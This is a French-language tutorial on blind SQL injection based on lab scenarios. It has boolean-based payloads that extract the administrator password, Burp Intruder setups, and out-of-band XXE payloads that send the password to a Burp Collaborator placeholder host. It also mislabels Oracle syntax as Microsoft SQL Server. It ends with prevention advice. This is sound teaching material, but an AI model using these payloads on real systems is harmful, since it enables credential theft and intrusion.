# Blind SQLI

### Définition

L'injection SQL aveugle se produit lorsqu'une application est vulnérable à l'injection SQL, mais que les réponses HTTP ne montrent pas les résultats de la requête ni les erreurs de la base de données. Les attaquants exploitent des différences de comportement de l'application pour extraire des données.

### Observation d'une sortie&#x20;

* **Requête originale** :

  ```sql
  SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
  ```
* **Requête vulnérable à l'injection SQL** :

  <pre class="language-sql"><code class="lang-sql"><strong>SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'TIF05QvopnwSjvxa' AND '1'='1'
  </strong></code></pre>

1. **Condition vraie** : `TrackingId=xyz' AND '1'='1`
   * La requête retourne des résultats.
   * Affiche "Welcome back".
2. **Condition fausse** : `TrackingId=xyz' AND '1'='2`
   * La requête ne retourne pas de résultats.
   * N'affiche pas "Welcome back".

### Recherche MDP manuel

```sql
xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')>'m
```

* **Résultat** :
  * "Welcome back" affiché : le premier caractère est supérieur à `m`.
  * "Welcome back" non affiché : le premier caractère n'est pas supérieur à `m`.

**Trouver le premier caractère** :

* **Requête** :

  ```sql
  xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='s
  ```
* **Résultat** :
  * "Welcome back" affiché : le premier caractère est `s`.

#### Continuer le Processus

Répéter les étapes ci-dessus pour chaque caractère jusqu'à reconstituer le mot de passe complet.

{% hint style="info" %}
La fonction `SUBSTRING` peut être nommée `SUBSTR` selon le type de base de données.
{% endhint %}

***

## Scénario Pratique&#x20;

La base de données contient une table appelée `users`, avec des colonnes nommées `username` et `password`. Vous devez exploiter la vulnérabilité d'injection SQL aveugle pour découvrir le mot de passe de l'utilisateur administrateur.

### **Déterminer le message affiché en cas de réponse vraie :**

* **Condition fausse :**

  ```sql
  TrackingId=xyz' AND '1'='2
  ```

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FwZWcMsMjcUfmnYgNSKMB%2Fimage.png?alt=media&#x26;token=ba597a3c-fbb2-48ac-8af2-25a7e8c4498c" alt=""><figcaption></figcaption></figure>

* **Condition vraie :**

  ```sql
  TrackingId=xyz' AND '1'='1
  ```

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2F9sQqIx0ZuErXVvx7GdDk%2Fimage.png?alt=media&#x26;token=9857200e-cbd3-41ed-ad4b-f2052c8dc722" alt=""><figcaption></figcaption></figure>

Si la condition est vraie, le message "welcome back" apparaît.

**Vérifier si la table `users` existe :**

```sql
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
```

**Vérifier si un utilisateur administrateur existe :**

```sql
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a
```

### **Vérifier la longueur du mot de passe**&#x20;

* Envoyer à l'intruder.
* Définir l'attaque en mode sniper (Le mode sniper permet d'envoyer une seule requête à la fois, en modifiant une seule position dans la requête).
* Mettre une variable sur le **§1§**
* Aller dans `Payload > Numbers` et définir de 1 à 25.
* ![](https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FgaUM6GdI3FZO3LI1ghqj%2Fimage.png?alt=media\&token=d05d7683-86b6-4b1e-97c1-affb797c60b2)
* Aller dans `Settings` et définir le mot "welcome" dans `grep match` afin de filtrer les réponses et identifier celles qui contiennent le message "welcome back", indiquant que la condition de la requête est vraie.

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FafXvEW7w8b8JUo55EWib%2Fimage.png?alt=media&#x26;token=1911db97-4627-4e9c-add9-20d6e7113664" alt=""><figcaption></figcaption></figure>

Lancer l'attaque :

```sql
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>§1§)='a
```

On observe qu'il y a 20 caractères.

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FQvh5dhEJKR8iOHe0aMr2%2Fimage.png?alt=media&#x26;token=960786e7-7337-4403-a657-03ae44ddc6a5" alt=""><figcaption></figcaption></figure>

### **Rechercher MDP automatiquement :**

* Définir en mode **cluster bomb** (Le mode cluster bomb permet de combiner plusieurs payloads pour tester toutes les combinaisons possibles).
* Mettre cette requête :

  ```sql
  ' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username = 'administrator') = '§a§'--
  ```

{% hint style="info" %}

#### Fonction `SUBSTRING` :

La fonction `SUBSTRING` en SQL est utilisée pour extraire une partie d'une chaîne de caractères. La syntaxe générale est :

```sql
SUBSTRING(string, start, length)
```

* `string` : La chaîne de caractères d'origine.

* `start` : La position de départ pour l'extraction (la première position est 1).

* `length` : Le nombre de caractères à extraire.
  {% endhint %}

* Définir les deux payloads : le premier pour les nombres (parcourir le mot de passe) et le deuxième pour tester les lettres.

  * **Payload 1 :**

    ```sql
    §1§
    ```

  <figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FBF5eq73aZYNJXiH8scq9%2Fimage.png?alt=media&#x26;token=0dd892d3-4d25-40f4-8ef7-86490df7fccb" alt=""><figcaption></figcaption></figure>

  * **Payload 2 :**

    ```sql
    §a§
    ```

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2Fa4mMGdVuZRenB8W1EgRC%2Fimage.png?alt=media&#x26;token=b2830f7b-11bc-41cc-a0c7-4a68f9c17ac7" alt=""><figcaption></figcaption></figure>

* Aller dans `Settings` et définir le mot "welcome" dans `grep match` puis lancer l'attaque

***

## OAST - out-of-band

**Contexte**

* **Injection SQL Aveugle Asynchrone** : Les requêtes SQL sont exécutées en arrière-plan sans affecter la réponse immédiate de l'application.
* **Problème** : Techniques d'injection SQL traditionnelles (temps de réponse, erreurs de base de données) ne fonctionnent pas.

### **Technique Hors Bande (OAST)**

Exploitation de la vulnérabilité SQL pour déclencher des interactions réseau (DNS, HTTP) que l'attaquant peut surveiller.

* **Si une interaction est détectée** : L'attaquant sait que la charge utile a été exécutée, ce qui peut confirmer la présence de la vulnérabilité.
* **Si aucune interaction n'est détectée** : L'attaquant peut ajuster la charge utile ou la méthode d'injection et recommencer.

{% hint style="info" %}

* **Génération du Domaine** : Créez un sous-domaine unique sur Burp Collaborator.
* **Préparation de la Charge Utile** : Concevez une charge utile SQL incluant le domaine généré (ex. : requête DNS ou HTTP vers ce domaine).
* **Injection de la Charge Utile** : Injectez la charge utile dans le champ vulnérable de l'application.
* **Surveillance des Interactions** : Vérifiez Burp Collaborator pour voir si des requêtes réseau ont été envoyées à votre domaine.
* **Analyse des Résultats** : Confirmez la présence de la vulnérabilité et récupérez des informations si des interactions sont détectées.
  {% endhint %}

### **Utilisation de DNS pour OAST**

* **Pourquoi DNS ?** : Beaucoup de réseaux permettent les requêtes DNS sans restrictions, ce qui les rend idéales pour l'exfiltration de données.
* **Outil Principal** : Burp Collaborator (Créer un sous-domaine pour pour détecter les interactions réseau)

### **Exemple Pratique : Microsoft SQL Server**

**Test de connexion au serveur**&#x20;

```sql
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
```

#### Exfiltration de Données Sensibles

```sql
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
```

**But :** Exfiltrer le mot de passe de l'utilisateur `administrator` en déclenchant une requête HTTP vers le sous-domaine de Burp Collaborator avec les données extraites.

**Requête Générale pour Exfiltration de Données Sensibles**

```sql
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+COLUMN+FROM+TABLE+WHERE+CONDITION)||'.INSERT-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
```

{% hint style="info" %}
**Second-order SQL Injection** : Cette vulnérabilité se produit lorsque les données malveillantes ne sont pas immédiatement exploitées. Elles sont stockées (par exemple, dans une base de données) et ultérieurement utilisées dans une autre requête SQL vulnérable. L'injection ne devient visible qu'à cette étape ultérieure, rendant la détection plus complexe.
{% endhint %}

***

## **Prévention des Injections SQL**

#### **1. Utiliser des Requêtes Paramétrées**

**Qu'est-ce que c'est ?** Les requêtes paramétrées, aussi appelées "requêtes préparées", permettent de séparer les instructions SQL des données que vous voulez insérer. Cela empêche les données malveillantes d'être interprétées comme du code SQL.

**Comment faire ?**

* **Java :**

  ```java
  String query = "SELECT * FROM users WHERE username = ?";
  PreparedStatement statement = connection.prepareStatement(query);
  statement.setString(1, username); // `username` est la donnée entrée par l'utilisateur
  ResultSet resultSet = statement.executeQuery();
  ```
* **PHP :**

  ```php
  $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
  $stmt->execute([$username]); // `$username` est la donnée entrée par l'utilisateur
  $result = $stmt->fetch();
  ```

#### **2. Valider les Entrées Utilisateur**

**Qu'est-ce que c'est ?** Valider les données utilisateur consiste à vérifier que les entrées sont du bon type et format avant de les utiliser.

**Comment faire ?**

* **Exemple :** Assurez-vous qu'un champ de date contient bien une date et non du texte aléatoire.

#### **3. Échapper les Données**

**Qu'est-ce que c'est ?** Échapper les données signifie transformer les caractères spéciaux en une forme sûre avant de les inclure dans des requêtes SQL ou d’autres contextes.

**Comment faire ?**

* **Pour SQL :** Utilisez des outils ou des bibliothèques qui échappent automatiquement les caractères dangereux dans les chaînes de caractères.
* **Exemple en PHP :**

  ```php
  $safe_username = mysqli_real_escape_string($conn, $username);
  ```

#### **4. Limiter les Privilèges de la Base de Données**

**Qu'est-ce que c'est ?** Donner uniquement les permissions nécessaires à chaque compte de base de données. Par exemple, un compte utilisé pour lire des données n'a pas besoin de permissions pour supprimer des tables.

**Comment faire ?**

* **Configuration :** Assurez-vous que les comptes de base de données n'ont que les privilèges nécessaires pour leur fonction.

#### **5. Mettre en Place des Mécanismes de Sécurité Supplémentaires**

**Qu'est-ce que c'est ?** Utiliser des pare-feu d'application web (WAF) et des outils de détection pour surveiller et bloquer les tentatives d'injection SQL.

**Comment faire ?**

* **Outils :** Intégrez des solutions comme un WAF ou des scanners de vulnérabilités pour détecter des comportements suspects.

#### **Résumé Simple :**

1. **Utilisez des requêtes paramétrées** pour éviter que les données utilisateur ne modifient les requêtes SQL.
2. **Validez les données utilisateur** pour s'assurer qu'elles sont correctes avant de les utiliser.
3. **Échappez les caractères spéciaux** pour les protéger dans les requêtes SQL.
4. **Limitez les privilèges de la base de données** pour réduire les risques en cas d'attaque.
5. **Ajoutez des mécanismes de sécurité supplémentaires** comme les pare-feu d'application web.

En appliquant ces mesures, vous pouvez réduire considérablement le risque d'attaques par injection SQL dans vos applications.
